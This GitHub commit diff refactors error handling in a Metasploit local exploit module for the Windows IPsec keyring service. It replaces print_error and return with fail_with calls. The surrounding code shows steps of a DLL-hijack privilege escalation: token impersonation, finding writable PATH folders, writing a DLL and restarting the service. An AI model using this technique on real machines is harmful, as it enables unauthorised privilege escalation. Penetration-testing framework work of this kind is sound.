Skip to content

Commit

Permalink
Use fail_with
Browse files Browse the repository at this point in the history
  • Loading branch information
Meatballs1 committed Jan 3, 2013
1 parent 861951f commit df21836
Showing 1 changed file with 11 additions and 19 deletions.
30 changes: 11 additions & 19 deletions modules/exploits/windows/local/ipsec_keyring_service.rb
Expand Up @@ -216,10 +216,7 @@ def exploit
begin
@token = get_imperstoken()
rescue ::Exception => e
# Failure due to timeout, access denied, etc.
vprint_error("Error #{e.message} while using get_imperstoken()")
vprint_error(e.backtrace)
return
fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken()")
end

@reboot = false
Expand All @@ -231,31 +228,28 @@ def exploit

print_status("Checking service exists...")
if !check_service_exists?(@service_name)
return
fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
end

if session_arch == ARCH_X64
print_error("Exploit currently does not work with x64.")
#return
fail_with(Exploit::Failure::NoTarget, "Exploit currently does not work with x64.")
end

if is_uac_enabled?
print_error("UAC is enabled results, may get false negatives on writeable folders.")
print_warning("UAC is enabled results, may get false negatives on writeable folders.")
end

if datastore['DIR'].empty?
# If DLL already exists in system folders, we dont want to overwrite by accident
if check_search_path
print_error("DLL already exists in system folders.")
return
fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
end

file_path = check_system_path
file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs

if file_path.nil?
print_error("Unable to write to any folders in the PATH, aborting...")
return
fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
end
else
# Use manually selected Dir
Expand All @@ -273,8 +267,7 @@ def exploit

# Still disabled
if service_information['Startup'] == 'Disabled'
print_error("Unable to enable service, aborting...")
return
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
end
end

Expand All @@ -290,9 +283,8 @@ def exploit
@write_success = true
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
print_error(e.message)
@write_success = false
return
fail_with(Exploit::Failure::Unknown, e.message)
end

#
Expand All @@ -309,17 +301,17 @@ def exploit
if service_start(@service_name) == 0
print_status("Service started...")
else
print_error("Unable to start service.")
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
end
else
print_error("Unable to stop service.")
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
end
elsif status == 0
print_status("Service started...")
end
rescue ::Exception => e
if service_information['Startup'] == 'Manual'
print_error("Unable to start service, and it does not auto start, cleaning up...")
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
else
@reboot = true
print_status("Unable to start service, manually create handler and wait for a reboot...")
Expand Down

0 comments on commit df21836

Please sign in to comment.